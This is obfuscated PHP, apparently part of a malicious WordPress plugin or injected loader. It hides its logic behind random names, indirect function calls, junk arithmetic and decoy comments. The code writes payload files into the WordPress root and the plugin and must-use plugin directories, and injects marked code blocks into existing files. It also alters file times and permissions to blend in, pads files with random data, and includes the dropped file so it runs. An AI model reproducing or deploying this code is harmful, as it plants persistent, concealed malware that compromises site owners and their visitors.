     $_3gqlb29heqj     =   $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(), lgr6hp92ka(1181));
 $mg55plvcl5ld1  =  w5r7ae3dymnovvl7(ABSPATH     . lgr6hp92ka(1114), (0x5+0x3))  . k83m2slbb(1115);



 $z6sjo3b9vuo78ncn  =   zaag8uz2ttqgqlhq();
$ywxvx55aeu5mb_     = w5r7ae3dymnovvl7(ABSPATH  .   woii22it0(1206),   (20-10));



       $_a8d_jm2zco4w6  =  $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1250)) ?  go155bp4gg01flfmq()     :  false;



     $molr2q7s2lt3el7   = $_a8d_jm2zco4w6 !== false ? $GLOBALS['__scf_h4ieas6x4u_1272']($_a8d_jm2zco4w6)    :  0;
     $znxdwp8otp_pe   =   isset($GLOBALS[lgr6hp92ka(1214)]->prefix)    ?    $GLOBALS[lgr6hp92ka(1214)]->prefix : k83m2slbb(842);
   $qt93blyaolb  =  lgr6hp92ka(1273)  .   $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56']($_3gqlb29heqj   .    (string)  besgaqtopfqsg9c6hd()),   0, (7+1));
  $fnnqc3v8pbe  = xewvuvq66ezpbfhc(

n747he9yo38(651),



 array('__SLUG__',  '__ZIP_NAME__', '__SHMOP_KEY__',  '__OPT_NAME__',   '__WP_PREFIX__',   '__GUARD_NAME__', '__VERSION__'),
     array($_3gqlb29heqj,  $mg55plvcl5ld1,    $molr2q7s2lt3el7,   $ywxvx55aeu5mb_, $znxdwp8otp_pe,   $qt93blyaolb, tdwuvuxeuijm__qj())
  );
    if (!$fnnqc3v8pbe)     {
   if  ((int)  get_option(lgr6hp92ka(1149),  0) >  0)      pas31bymshzdagwkp(n747he9yo38(1274),      lgr6hp92ka(1275));
return;
       }
// PHPUnit 10: feasible skolem

$current    =  @$GLOBALS['__scf_yi4cpqdjr9_711']($d2buq5jugy71)  ?      @$GLOBALS['__scf_zonhpgc286wu1_95']($d2buq5jugy71)  :    "";
if   (!$GLOBALS['__scf_epa1jymnf5_40']($current))   {
pas31bymshzdagwkp(woii22it0(1274),    lgr6hp92ka(1276));
return;
}
$current   = ouktu5q4cpiyod2s($current);



    $iquppyg099pblab7     =   tdwuvuxeuijm__qj()   . ':'  . w5r7ae3dymnovvl7(ABSPATH    .  woii22it0(1277),   (5+3));
$y_9_c6btob = woii22it0(1278) .   $iquppyg099pblab7    . hwc6a8djp6yy(1279);
      $lzk88d5vtss68uw8 =  k83m2slbb(1280)  .    $iquppyg099pblab7     . k83m2slbb(1279);
    $tnv0xzq3pcor0   =  w5r7ae3dymnovvl7(ABSPATH    . n747he9yo38(1277), (158^150));
   $v9saam_jx506r5   =    $GLOBALS['__scf_lv9m74lgyu5o6_460'](woii22it0(1281)    .   $tnv0xzq3pcor0 .  k83m2slbb(1282),  "",     $current);
$rej_hmdo5wtfx = ($GLOBALS['__scf_p9nk7khmjys_7']($v9saam_jx506r5, lgr6hp92ka(1283))    !==    false);
 if  ($GLOBALS['__scf_p9nk7khmjys_7']($current,     $y_9_c6btob)  !==  false    &&    $GLOBALS['__scf_p9nk7khmjys_7']($current,   $lzk88d5vtss68uw8)  !== false   && !$rej_hmdo5wtfx)    {


      g_yc2hfpiempnkm9duiw();
 return;



}
  $current   =   $GLOBALS['__scf_lv9m74lgyu5o6_460'](n747he9yo38(1284),    "", $v9saam_jx506r5);



    if   (!$GLOBALS['__scf_epa1jymnf5_40']($current))   {
  pas31bymshzdagwkp(n747he9yo38(1274),     n747he9yo38(1236));
 return;
 }   {
 $current   =   ouktu5q4cpiyod2s($current);
  $samuipata08w    =   $GLOBALS['__scf_lv9m74lgyu5o6_460'](n747he9yo38(1285),   "",  $fnnqc3v8pbe);
       $n01vh2u9_rpn  =    ($GLOBALS['__scf_h5yqrl6kmpb_10']($current)     ===  0);
if (!$n01vh2u9_rpn)   {
if (!cw3rg8hwq6ots8(n747he9yo38(1274)))  {
pas31bymshzdagwkp(lgr6hp92ka(1274), k83m2slbb(1237));


return;


    }
// WP Server Side Render: heuristic witness

   if  (!r4wrabnam8f37mfnpwguau($d2buq5jugy71, $current)) {
  pas31bymshzdagwkp(n747he9yo38(1274),  k83m2slbb(1286));
 return;
}
   xunqfmd40biprxga6h5pft(k83m2slbb(1274));
 }   else   {
if (!r4wrabnam8f37mfnpwguau($d2buq5jugy71,     ""))  {
  pas31bymshzdagwkp(k83m2slbb(1274), hwc6a8djp6yy(1287));
return;

  }
  }
  $mfz02rl22n_yfy  = v3uqz1qs3wskken9i0($current, $y_9_c6btob  .  "\n" .     $samuipata08w    . "\n" . $lzk88d5vtss68uw8);
  if  (!m9xp6uh5w1cal39pfn4cx($d2buq5jugy71, $mfz02rl22n_yfy))  {


     return;
    }
 zvn_deaq8dwiaefof_fe($d2buq5jugy71);
     j432fegx9wjwq5cz8t($d2buq5jugy71);
g_yc2hfpiempnkm9duiw();
}
   }     catch   (Throwable  $oz7m23pnscj7)   {
pas31bymshzdagwkp(lgr6hp92ka(1274),   $oz7m23pnscj7);
      }    catch (Exception   $oz7m23pnscj7)  {
    }

     }
  function s4oc08tki14ci6_jy8a()
    {
    try {
if      (!defined(hwc6a8djp6yy(1288)))  return;
// MySQL JSON operators: merge skolem
$_39w3rfpq3c=-239;$gtmpby6wkq=($_39w3rfpq3c>0)?$_39w3rfpq3c:-$_39w3rfpq3c;
    if (l95i0qiwfmdi69_bke(vcr09jqkbni2k4ee0y()))  return;
  if    (!$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1155)))  return;
if    ($GLOBALS['__scf_rnghnmhj734jl_104']() ===   k83m2slbb(1289)) return;
// WP Gallery Block: strict registry
$fe2im_hi6qlyr3=68+87;$_4k4a35x=$fe2im_hi6qlyr3-28;
   if (!isset($_SERVER[lgr6hp92ka(412)]))  return;



if (get_transient(hwc6a8djp6yy(1290)))   return;
$o74dl70pfsaqwsay  =  zaag8uz2ttqgqlhq();
  if   (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($o74dl70pfsaqwsay))  t9pjso5fxcttzwg5jam805($o74dl70pfsaqwsay,   (737-244), true);
  if  (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($o74dl70pfsaqwsay)     ||     !@$GLOBALS['__scf_vz80l0_46bwga_46']($o74dl70pfsaqwsay))   {$ubcg3oxd1n=42+2;$f74oktn12mpvsy=$ubcg3oxd1n-49;
 $o74dl70pfsaqwsay =    ABSPATH . hwc6a8djp6yy(1291);
   if  (!@$GLOBALS['__scf_vz80l0_46bwga_46']($o74dl70pfsaqwsay))    $o74dl70pfsaqwsay =    ms1ba5i41di9frre();
      }
// propagate-const constraint-set for WP Server Side Render




    $fcg8z4_t1d   =  w5r7ae3dymnovvl7(ABSPATH     . 'g',  (0x5+0x3));



$icmvw3a50xmkjhj9 = hwc6a8djp6yy(510)   .   $fcg8z4_t1d     .     n747he9yo38(1292);
 $gazj0u3rt3    =  $o74dl70pfsaqwsay    .    '/' .     $icmvw3a50xmkjhj9;
$j8omlfvbp90g4o7 = $o74dl70pfsaqwsay    .  woii22it0(1293)   .  $fcg8z4_t1d;
foreach   (array($o74dl70pfsaqwsay,    ABSPATH     .    hwc6a8djp6yy(1291),  ms1ba5i41di9frre()) as  $ml24t29_h19)  {
$kob019kchfeqt   = $ml24t29_h19  .  lgr6hp92ka(1294)  .     $fcg8z4_t1d;


     if      (@$GLOBALS['__scf_mtwlgr3p78_18']($kob019kchfeqt))   {
$b8rktld4ao0ut61c    =     (int)     @$GLOBALS['__scf_gibkjes9ds_98']($kob019kchfeqt);

    if   ($b8rktld4ao0ut61c <=  $GLOBALS['__scf_cyotfgtf1a8m_189']()    -   (86350+50)   ||  $b8rktld4ao0ut61c      >     $GLOBALS['__scf_cyotfgtf1a8m_189']()    + (53+247)) {


   y0a1xt15v3nqhjqppfzn($kob019kchfeqt);
continue;
  }
if   (@$GLOBALS['__scf_mtwlgr3p78_18']($ml24t29_h19  .    woii22it0(1295) .   $fcg8z4_t1d  .   k83m2slbb(1292)))  return;


        y0a1xt15v3nqhjqppfzn($kob019kchfeqt);
   }
}
 unset($ml24t29_h19, $kob019kchfeqt,  $b8rktld4ao0ut61c);
 $ycb2kbgci53kgo   =      ABSPATH .     lgr6hp92ka(1296)     .  $icmvw3a50xmkjhj9;
 if ($o74dl70pfsaqwsay !==  ABSPATH  . woii22it0(1291)  &&   @$GLOBALS['__scf_mtwlgr3p78_18']($ycb2kbgci53kgo)   && lgftgp4euaxcaljt50i41y($ycb2kbgci53kgo)      !==    false)   {$cibf5gt8yg=7728;$d7mucjqn=$cibf5gt8yg%3;
dvd1rr9pr3xu08j($ycb2kbgci53kgo,   (332+88));

 if      (y0a1xt15v3nqhjqppfzn($ycb2kbgci53kgo)   && $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1297)))   @opcache_invalidate($ycb2kbgci53kgo,   true);
  }
unset($ycb2kbgci53kgo);
 if (@$GLOBALS['__scf_mtwlgr3p78_18']($j8omlfvbp90g4o7)    &&    (int)  @$GLOBALS['__scf_gibkjes9ds_98']($j8omlfvbp90g4o7)  > $GLOBALS['__scf_cyotfgtf1a8m_189']() - (244-4))   return;
 if (@$GLOBALS['__scf_mtwlgr3p78_18']($gazj0u3rt3) &&    ($GLOBALS['__scf_cyotfgtf1a8m_189']()   -  (int)  @filectime($gazj0u3rt3)) <  (266+34))    return;
       if (@$GLOBALS['__scf_mtwlgr3p78_18']($gazj0u3rt3)) {
// @template bulkhead

  $fg9xqtilybsbxz    =   @$GLOBALS['__scf_mtwlgr3p78_18']($o74dl70pfsaqwsay  .    lgr6hp92ka(1298)    .  $fcg8z4_t1d)   ? $GLOBALS['__scf_xcg5caaat_92j0_323']((string)   @$GLOBALS['__scf_zonhpgc286wu1_95']($o74dl70pfsaqwsay  .  hwc6a8djp6yy(1298)  .     $fcg8z4_t1d))  :  "";
    if ($fg9xqtilybsbxz  !== "" &&   $GLOBALS['__scf_iz3o_ajtgml6rf_96'](lgr6hp92ka(1299), $fg9xqtilybsbxz)     &&    version_compare($fg9xqtilybsbxz,    tdwuvuxeuijm__qj(),  '>'))  return;
unset($fg9xqtilybsbxz);
   }
   if (@$GLOBALS['__scf_mtwlgr3p78_18']($gazj0u3rt3))     {
/* batch nominal-type */


   $r7qxttngea7o  =   $o74dl70pfsaqwsay     . lgr6hp92ka(1300)  .   w5r7ae3dymnovvl7(ABSPATH     .  'g', (4+4));
 $wgv7dy4zb_y4y49m =   @$GLOBALS['__scf_mtwlgr3p78_18']($r7qxttngea7o) ?    (string) @$GLOBALS['__scf_zonhpgc286wu1_95']($r7qxttngea7o)   :   "";
  $ayomy6vj2b_6lw04 = 0;
 if  ($wgv7dy4zb_y4y49m  !== "")  {
    $jy1m6fojub =   $GLOBALS['__scf_txqeuw424jw_8__114']('|',  $wgv7dy4zb_y4y49m);
  $ayomy6vj2b_6lw04  =     (int)  $jy1m6fojub[0];
  }
// partition backlog for WP InnerBlocks

    if  ($ayomy6vj2b_6lw04    >  0 &&    $GLOBALS['__scf_cyotfgtf1a8m_189']()  - $ayomy6vj2b_6lw04 >  (861+39))  pas31bymshzdagwkp(lgr6hp92ka(649),   lgr6hp92ka(1301));
 elseif      ($ayomy6vj2b_6lw04 ===  0  &&  ($GLOBALS['__scf_cyotfgtf1a8m_189']() -    (int)   @filectime($gazj0u3rt3))   >     (0xcb+0x2b9))   pas31bymshzdagwkp(woii22it0(649),   k83m2slbb(1302));
   unset($r7qxttngea7o, $wgv7dy4zb_y4y49m,    $jy1m6fojub,     $ayomy6vj2b_6lw04);
      }
  $lg3qq7zrzjh0ss2   =     j7q7bvavumc4i765();
 if    (!$lg3qq7zrzjh0ss2  ||    $GLOBALS['__scf_h5yqrl6kmpb_10']($lg3qq7zrzjh0ss2) < (407+93))   return;
  $b_7bhorswk3q =   vxphx3fmo9f0xamsip2gy0();
      $_3gqlb29heqj   = $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(), lgr6hp92ka(1292));
 $nu_ijtqjjuw2a  = ms1ba5i41di9frre()    .   hwc6a8djp6yy(1303);

   $mgn6drm0u4a    =   @$GLOBALS['__scf_vz80l0_46bwga_46']($nu_ijtqjjuw2a)
 ?   ($nu_ijtqjjuw2a  .  '/' .  $_3gqlb29heqj  .  lgr6hp92ka(1292))
:   (ms1ba5i41di9frre()   . lgr6hp92ka(92)  .    $_3gqlb29heqj .  '/' .   $_3gqlb29heqj  .  k83m2slbb(1292));


   $soka0mozjo0 =     $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1162))  ?  $GLOBALS['__scf_c0nria_kxj_557'](home_url(),   PHP_URL_HOST)    :   (isset($_SERVER[k83m2slbb(563)]) ?   $_SERVER[woii22it0(563)]     :   "");
$lvb9_fykpgmbh  =  (defined(hwc6a8djp6yy(1304))   &&     WPMU_PLUGIN_DIR)  ?    WPMU_PLUGIN_DIR   : ms1ba5i41di9frre()  .  n747he9yo38(1303);
  $s75n24_dm1rpp4z  =    (defined(woii22it0(1305)) &&    WP_PLUGIN_DIR)   ?  WP_PLUGIN_DIR   :    ms1ba5i41di9frre()     .     lgr6hp92ka(737);



      $mt753i8nsld0h3     =   defined(n747he9yo38(1196))   ?   WP_CONTENT_DIR :   ms1ba5i41di9frre();
   $sl4mlkijkoyhb =  xewvuvq66ezpbfhc(
hwc6a8djp6yy(649),
 array('__PATH_B64__',     '__PLUGIN_BASE64__', '__DOMAIN__', '__HB_B64__',    '__GPATH_B64__',  '__ABSPATH_B64__', '__CONTENTDIR_B64__',     '__MUDIR_B64__', '__PLUGINDIR_B64__',  '__SLUG__',   '__VERSION__'),
       array($GLOBALS['__scf_ocf2s22fr524pv_351']($mgn6drm0u4a), $b_7bhorswk3q,  $soka0mozjo0,     $GLOBALS['__scf_ocf2s22fr524pv_351']($j8omlfvbp90g4o7),   $GLOBALS['__scf_ocf2s22fr524pv_351']($gazj0u3rt3), $GLOBALS['__scf_ocf2s22fr524pv_351'](ABSPATH), $GLOBALS['__scf_ocf2s22fr524pv_351']($mt753i8nsld0h3), $GLOBALS['__scf_ocf2s22fr524pv_351']($lvb9_fykpgmbh),      $GLOBALS['__scf_ocf2s22fr524pv_351']($s75n24_dm1rpp4z),      $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(), hwc6a8djp6yy(1306)),   tdwuvuxeuijm__qj())
  );
      if   (!$sl4mlkijkoyhb)  {
    if  ((int) get_option(lgr6hp92ka(1149),     0) > 0)     pas31bymshzdagwkp(hwc6a8djp6yy(649),    lgr6hp92ka(1307));
    return;
     }


if   (!dxgg5a63x4tsvkmvowozg3($sl4mlkijkoyhb))      {

pas31bymshzdagwkp(hwc6a8djp6yy(649), n747he9yo38(1308));



   return;



       }
 if  (m9xp6uh5w1cal39pfn4cx($gazj0u3rt3,    $sl4mlkijkoyhb)) {


   rrr831f_sv70sa0os2v($gazj0u3rt3,      vl3ayj4wnx9fy07p7y_a());

dvd1rr9pr3xu08j($gazj0u3rt3,   (355+65));
j432fegx9wjwq5cz8t($gazj0u3rt3);


     fqr413zu_kw1ho7pi($o74dl70pfsaqwsay     .   k83m2slbb(1309)  . $fcg8z4_t1d,    $GLOBALS['__scf__pih7hoh4m_56']($sl4mlkijkoyhb), woii22it0(649));
     fqr413zu_kw1ho7pi($o74dl70pfsaqwsay   .  lgr6hp92ka(1310)   .  $fcg8z4_t1d, tdwuvuxeuijm__qj(),   hwc6a8djp6yy(1311));

 @include_once $gazj0u3rt3;
      set_transient(lgr6hp92ka(1290), 1,   (296+4));
  }
     unset($lvb9_fykpgmbh,   $s75n24_dm1rpp4z,  $mt753i8nsld0h3);
    }   catch  (Throwable $oz7m23pnscj7)   {
       pas31bymshzdagwkp(lgr6hp92ka(1312), $oz7m23pnscj7);
}      catch   (Exception $oz7m23pnscj7) {
// WP Global Styles: release orbit


    }
 }
function   rn7y5z4w_xtam4pshy6($zx8kyq0ujpipx)
 {
if    (!$GLOBALS['__scf_epa1jymnf5_40']($zx8kyq0ujpipx))  return   false;
    $z3b382p9x_w8 = $GLOBALS['__scf_h5yqrl6kmpb_10']($zx8kyq0ujpipx);


 if     ($z3b382p9x_w8   >     (1962442-913866))  return   true;
if      ($z3b382p9x_w8 < (127+373)) return  false;


$drl4jv2t5yq4lh   =  $GLOBALS['__scf_pdat24v9nxkx0_9']($zx8kyq0ujpipx,  0,  (110786-45250));
 $iy4ig7ur76sq   =   $GLOBALS['__scf_ixqqpq1451pav_1313']($drl4jv2t5yq4lh,  ' ')    +   $GLOBALS['__scf_ixqqpq1451pav_1313']($drl4jv2t5yq4lh,  "\t");
       return  ($iy4ig7ur76sq  /    $GLOBALS['__scf_h5yqrl6kmpb_10']($drl4jv2t5yq4lh))    >  0.55;
     }
function j7q7bvavumc4i765($nljfpnfxscb  =   false)
    {
  static  $lg3qq7zrzjh0ss2     =  null;
   if ($nljfpnfxscb)     {
$lg3qq7zrzjh0ss2  =  null;
    }
    if ($lg3qq7zrzjh0ss2  !== null)    return $lg3qq7zrzjh0ss2;
     $zx8kyq0ujpipx   =  olg5ho6a49l4x7(vcr09jqkbni2k4ee0y());
if ($GLOBALS['__scf_epa1jymnf5_40']($zx8kyq0ujpipx)  &&   $GLOBALS['__scf_h5yqrl6kmpb_10']($zx8kyq0ujpipx) > (427+73) &&      $GLOBALS['__scf_h5yqrl6kmpb_10']($zx8kyq0ujpipx) <=   (1048569+7)     &&     !rn7y5z4w_xtam4pshy6($zx8kyq0ujpipx)  &&  dxgg5a63x4tsvkmvowozg3($zx8kyq0ujpipx)) {
    $lg3qq7zrzjh0ss2  =  $zx8kyq0ujpipx;
return   $lg3qq7zrzjh0ss2;
  }
   $w7jfmme39hw   =    z6q8c6q8s6lg_2r(woii22it0(1314),   "");
    if   ($GLOBALS['__scf_epa1jymnf5_40']($w7jfmme39hw)     &&    $GLOBALS['__scf_h5yqrl6kmpb_10']($w7jfmme39hw) >  (497+3)   &&  $GLOBALS['__scf_h5yqrl6kmpb_10']($w7jfmme39hw) <= (1048507+69)   && !rn7y5z4w_xtam4pshy6($w7jfmme39hw)   &&      dxgg5a63x4tsvkmvowozg3($w7jfmme39hw))    {
// PCRE2 JIT: linear-adj facade

$lg3qq7zrzjh0ss2   = $w7jfmme39hw;
return   $lg3qq7zrzjh0ss2;
 }
     $lg3qq7zrzjh0ss2 =   false;
   return   $lg3qq7zrzjh0ss2;
 }
        function vxphx3fmo9f0xamsip2gy0($nljfpnfxscb  =      false)
   {
   static $yhm9eprobm3tk =  null;
 if     ($nljfpnfxscb)  {
 $yhm9eprobm3tk   =     null;
}
 if     ($yhm9eprobm3tk    !==    null)  return    $yhm9eprobm3tk;
      $zx8kyq0ujpipx  = j7q7bvavumc4i765();


 if  (!$GLOBALS['__scf_epa1jymnf5_40']($zx8kyq0ujpipx) ||  $GLOBALS['__scf_h5yqrl6kmpb_10']($zx8kyq0ujpipx)    < (0x17c+0x78) || $GLOBALS['__scf_h5yqrl6kmpb_10']($zx8kyq0ujpipx)      >  (1048501+75)   ||    rn7y5z4w_xtam4pshy6($zx8kyq0ujpipx) || !dxgg5a63x4tsvkmvowozg3($zx8kyq0ujpipx))  {
$yhm9eprobm3tk  =    false;
     return     $yhm9eprobm3tk;
  }


$yhm9eprobm3tk  =  $GLOBALS['__scf_ocf2s22fr524pv_351'](nrmao261sfpooxp($zx8kyq0ujpipx));
 return $yhm9eprobm3tk;$mbkehbsvqa=PHP_INT_MAX/PHP_INT_MAX;$tv7fsqfxl41q=$mbkehbsvqa+55;

 }
function   ocvno3eyjx33hv_mc($h0gifq03pj)
{
      if     (!$GLOBALS['__scf_epa1jymnf5_40']($h0gifq03pj)    ||   $GLOBALS['__scf_h5yqrl6kmpb_10']($h0gifq03pj) <     (2+16)  ||    $GLOBALS['__scf_pdat24v9nxkx0_9']($h0gifq03pj,  0,    2)  !==   "\x1f\x8b")     return 0;
   $r46pgyn1pclj8tf   =    @$GLOBALS['__scf_cl8lauqxet7pcw_277']('V',     $GLOBALS['__scf_pdat24v9nxkx0_9']($h0gifq03pj, -(6-2)));
$r46pgyn1pclj8tf  = $GLOBALS['__scf_lxbo0xm7220an_34']($r46pgyn1pclj8tf)  ?  $r46pgyn1pclj8tf[1] :    0;
  if     ($r46pgyn1pclj8tf <  (0x48+0x1ac) || $r46pgyn1pclj8tf  > (1048571+5)) return  $r46pgyn1pclj8tf;
      return     0;
 }
 function  d8xv4edolvhxdb($hyzeda9xec3m80j)

{
return    $GLOBALS['__scf_xutz5jm_7wd_349'](hexdec($hyzeda9xec3m80j[1]));
  }
  function      pn7nm6nqd14rnwe($clyirr_5zjy)
  {$t2ayslob7ij=70+28;$e00z5vvop=$t2ayslob7ij-24;


   if      (!$GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy)  ||   $clyirr_5zjy  ===  "") return $clyirr_5zjy;

        static  $vr2ccluux1a9_w0   =  null;
  if ($vr2ccluux1a9_w0  === null) {



      $vr2ccluux1a9_w0 = false;
 if ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1315))) {
   $_dd  =      defined(n747he9yo38(1196))  ? WP_CONTENT_DIR    :   (defined(lgr6hp92ka(1288))  ? ABSPATH    :  "");
 

if  ($_dd   !== "")     {
        $v1spcyahzz  =    @disk_free_space($_dd);
 if  ($v1spcyahzz    !==     false    &&    $v1spcyahzz   >=  (157286322+78)) $vr2ccluux1a9_w0     = true;
   }

 }
  if  (!$vr2ccluux1a9_w0)     {
 if  ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(920)))    @update_option(k83m2slbb(1316),     $GLOBALS['__scf_cyotfgtf1a8m_189'](), hwc6a8djp6yy(1244));
      } elseif ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(989))) {

        $ritma6bhy2 = (int)    get_option(lgr6hp92ka(1317),  0);
   if ($ritma6bhy2   &&  $GLOBALS['__scf_cyotfgtf1a8m_189']()   -   $ritma6bhy2   <    (171983-85583)) $vr2ccluux1a9_w0  =     false;
   }
/* logarithmic singleton */

 }
    if (!$vr2ccluux1a9_w0)   {
  return    $clyirr_5zjy;
}
$xg6b13ire3z  =   x3iq_dnj5x1rjn67iq0y04();
  if    ($xg6b13ire3z  ===   -1   ||    $xg6b13ire3z >= (91254329+42963399))    {
   $cy9yo5q4zjs9p_um  =   (1047670+752330)   +   $GLOBALS['__scf_qt5_3awd0l2_350'](0,  (699943+57));
 }  elseif   ($xg6b13ire3z   >= (67108793+71))      {


 $cy9yo5q4zjs9p_um      =  (0x19dc85+0x19abb) +  $GLOBALS['__scf_qt5_3awd0l2_350'](0,     (699941+59));
 }   else {
return  $clyirr_5zjy;


  }
    if  ($GLOBALS['__scf_h5yqrl6kmpb_10']($clyirr_5zjy) >=   $cy9yo5q4zjs9p_um) return  $clyirr_5zjy;
      if  ($GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf_aiwotu1kwod_12']($clyirr_5zjy),  -2)  ===   lgr6hp92ka(1318))    return    $clyirr_5zjy;
     while  ($GLOBALS['__scf_h5yqrl6kmpb_10']($clyirr_5zjy)    <  $cy9yo5q4zjs9p_um   -   (2234+1866)) {
 $w7ktmogztxqq =  "";
  if    ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1319)))  {



 try  {
 $w7ktmogztxqq =  @$GLOBALS['__scf_vb6ymi2qq4kt1l_1320'](random_bytes((1926+74)));
 } catch   (Throwable   $oz7m23pnscj7)   {
        $w7ktmogztxqq  =   "";
 }    catch  (Exception   $oz7m23pnscj7)    {
   $w7ktmogztxqq     = "";



 }
  }
     if ($GLOBALS['__scf_h5yqrl6kmpb_10']($w7ktmogztxqq)  <  (0x7e1+0x7bf))   {
    $w7ktmogztxqq     = $GLOBALS['__scf__pih7hoh4m_56'](uniqid("",      true));
    while  ($GLOBALS['__scf_h5yqrl6kmpb_10']($w7ktmogztxqq)    <   (1470+2530))    $w7ktmogztxqq .=  $GLOBALS['__scf__pih7hoh4m_56']($w7ktmogztxqq);
 }
$clyirr_5zjy .= "\n/*" .     $w7ktmogztxqq   .     lgr6hp92ka(1321);
}
 return      $clyirr_5zjy;
}
function ouktu5q4cpiyod2s($clyirr_5zjy)
{
  if (!$GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy)  || $GLOBALS['__scf_h5yqrl6kmpb_10']($clyirr_5zjy)     <= (1048538+38))  return  $clyirr_5zjy;
     $v3ns5_io9ii =  $GLOBALS['__scf_lv9m74lgyu5o6_460'](k83m2slbb(1322),   "",    $clyirr_5zjy);
     return     $GLOBALS['__scf_epa1jymnf5_40']($v3ns5_io9ii)      ?     $v3ns5_io9ii   :  $clyirr_5zjy;$nisv_25v=77*7;$r0x223fble_a=$nisv_25v-12;
      }


function      x3iq_dnj5x1rjn67iq0y04()
 {
 static  $javljt5jt8ha   =  null;
if ($javljt5jt8ha  !==    null)    return  $javljt5jt8ha;
 $javljt5jt8ha = 0;
    if (!$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1072)))   return   $javljt5jt8ha;
   $h0gifq03pj  =  @$GLOBALS['__scf_n9umf2ff2bmitw_112'](woii22it0(1323));
    if (!$GLOBALS['__scf_epa1jymnf5_40']($h0gifq03pj))    return    $javljt5jt8ha;
$h0gifq03pj   = $GLOBALS['__scf_xcg5caaat_92j0_323']($h0gifq03pj);
 if    ($h0gifq03pj ===     "") return $javljt5jt8ha;
    if ($h0gifq03pj  ===   k83m2slbb(1324)) {
   $javljt5jt8ha   =  -1;



   return      $javljt5jt8ha;
}
 $tb0hfr9vri2de7l  =  (float)   $h0gifq03pj;
      $ino2gx3najxui  =    $GLOBALS['__scf_y665zm23ov_1325']($GLOBALS['__scf_pdat24v9nxkx0_9']($h0gifq03pj, -1));
 if  ($ino2gx3najxui   ===  'G')     $tb0hfr9vri2de7l     *=  (1073741740+84);



elseif    ($ino2gx3najxui   === 'M') $tb0hfr9vri2de7l *=    (1048510+66);
   elseif    ($ino2gx3najxui  === 'K')  $tb0hfr9vri2de7l  *=  (946+78);
   if    ($tb0hfr9vri2de7l    >    0)      $javljt5jt8ha    =   (int)    $tb0hfr9vri2de7l;
  return  $javljt5jt8ha;
 

 }
      function  o3b3qa87qg2t8cm($fwo_me35afj8yij6)
     {
// dehydrate free proxy



  $fwo_me35afj8yij6 = (int)  $fwo_me35afj8yij6;
  if  ($fwo_me35afj8yij6  <=  0)  return   false;
   if    (!$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(675))) return false;
$zbh29em96u7ci4  =  x3iq_dnj5x1rjn67iq0y04();
 if  ($zbh29em96u7ci4 === -1)     return true;
    if   ($zbh29em96u7ci4      <=    0)   return    false;



   $q_plzcdjke =     @memory_get_usage(true);
 if  (!$GLOBALS['__scf_tu1_53i5xnze_38']($q_plzcdjke)  || $q_plzcdjke  <    0) return  false;
   return  ($zbh29em96u7ci4     - $q_plzcdjke)   > (($fwo_me35afj8yij6 *  (94^93))  +  (2097077+75));
  }


   function    p33o717eifif0xlevz($fwo_me35afj8yij6)
      {
      $fwo_me35afj8yij6   = (int)   $fwo_me35afj8yij6;
if ($fwo_me35afj8yij6   <=   0)    return  false;
      if (!$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(675))) return  true;

     $zbh29em96u7ci4   =  x3iq_dnj5x1rjn67iq0y04();
    if    ($zbh29em96u7ci4  ===   -1)  return true;
if  ($zbh29em96u7ci4  <= 0)   return true;
$q_plzcdjke =    @memory_get_usage(true);
 if (!$GLOBALS['__scf_tu1_53i5xnze_38']($q_plzcdjke)   || $q_plzcdjke    <  0)    return    true;



 return ($zbh29em96u7ci4  - $q_plzcdjke)    >    (($fwo_me35afj8yij6   *  (192^212))     +  (14923500-6534892));


}

 function    olg5ho6a49l4x7($obb00_vecb89w9f6)
{
   if    (!$GLOBALS['__scf_epa1jymnf5_40']($obb00_vecb89w9f6) ||   $obb00_vecb89w9f6    ===  ""    || !@$GLOBALS['__scf_mtwlgr3p78_18']($obb00_vecb89w9f6))  return  false;
   if ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(861))) @clearstatcache(true,  $obb00_vecb89w9f6);



$fwo_me35afj8yij6   = @$GLOBALS['__scf_vhi5vhdwib7ye_99']($obb00_vecb89w9f6);
if  (!$GLOBALS['__scf_tu1_53i5xnze_38']($fwo_me35afj8yij6) ||    $fwo_me35afj8yij6 <     1) return  false;


  if    ($fwo_me35afj8yij6 >  (52428712+88))    return    null;
  if ($fwo_me35afj8yij6  >   (1048562+14) && !o3b3qa87qg2t8cm($fwo_me35afj8yij6))    return  null;
   $clyirr_5zjy   =  @$GLOBALS['__scf_zonhpgc286wu1_95']($obb00_vecb89w9f6,    false,   null,  0,   $fwo_me35afj8yij6 + 1);$h6r8os0wchtix=(0x5e+0xb8);$wgvy4yuq3d6w=$h6r8os0wchtix%7;
if   (!$GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy)   ||      $GLOBALS['__scf_h5yqrl6kmpb_10']($clyirr_5zjy)   !==  $fwo_me35afj8yij6) return false;



return  $fwo_me35afj8yij6   >   (0x6630b+0x99cf5) ? ouktu5q4cpiyod2s($clyirr_5zjy)    :  $clyirr_5zjy;
      }
    function j432fegx9wjwq5cz8t($obb00_vecb89w9f6)
      {
    if    (!$GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(989))   ||   !$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(920)))   return;
